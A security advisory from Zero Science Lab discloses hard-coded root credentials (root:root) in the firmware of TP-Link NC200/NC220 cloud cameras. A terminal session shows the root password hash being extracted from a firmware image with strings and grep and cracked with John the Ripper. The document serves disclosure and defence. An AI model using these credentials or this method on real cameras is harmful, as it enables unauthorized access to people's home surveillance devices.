TP-Link NC200/NC220 Cloud Camera 300Mbps Wi-Fi Hard-Coded Credentials

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TP-Link NC200/NC220 Cloud Camera 300Mbps Wi-Fi Hard-Coded Credentials  
  
  
Vendor: TP-LINK Technologies Co., Ltd.  
Product web page: http://www.tp-link.us  
Affected version: NC220 V1 1.0.28 Build 150629 Rel.22346  
NC200 V1 2.0.15 Build 150701 Rel.20962  
  
Summary: Designed with simplicity in mind, TP-LINK's Cloud Cameras are a  
fast and trouble free way to keep track on what's going on in and around  
your home. Video monitoring, recording and sharing has never been easier  
with the use of TP-LINK’s Cloud service. The excitement of possibilities  
never end.  
  
Desc: NC220 and NC200 utilizes hard-coded credentials within its Linux  
distribution image. These sets of credentials (root:root) are never exposed  
to the end-user and cannot be changed through any normal operation of the  
camera.  
  
Tested on: Linux  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2015-5255  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5255.php  
  
  
20.07.2015  
  
--  
  
  
Initializing...  
root@zslab:~# strings NC220_1.0.28_Build_150629_Rel.22346.bin |grep root  
root_uImage  
p2048_newroot.cer  
root:$1$gt7/dy0B$6hipR95uckYG1cQPXJB.H.:0:0:Linux User,,,:/home/root:bin/sh  
Nproot:x:0:  
root@zslab:~# strings NC220_1.0.28_Build_150629_Rel.22346.bin | grep home > crack.me  
root@zslab:~# john crack.me  
Loaded 1 password hash (FreeBSD MD5 [128/128 SSE2 intrinsics 12x])  
root (root)  
guesses: 1 time: 0:00:00:00 DONE (Mon Aug 3 05:52:55 2015) c/s: 400 trying:  
root - Userroot  
Use the "--show" option to display all of the cracked passwords reliably  
root@zslab:~# john crack.me --show  
root:root:0:0:Linux User,,,:/home/root:/bin/sh  
  
1 password hash cracked, 0 left  
root@zslab:~#  
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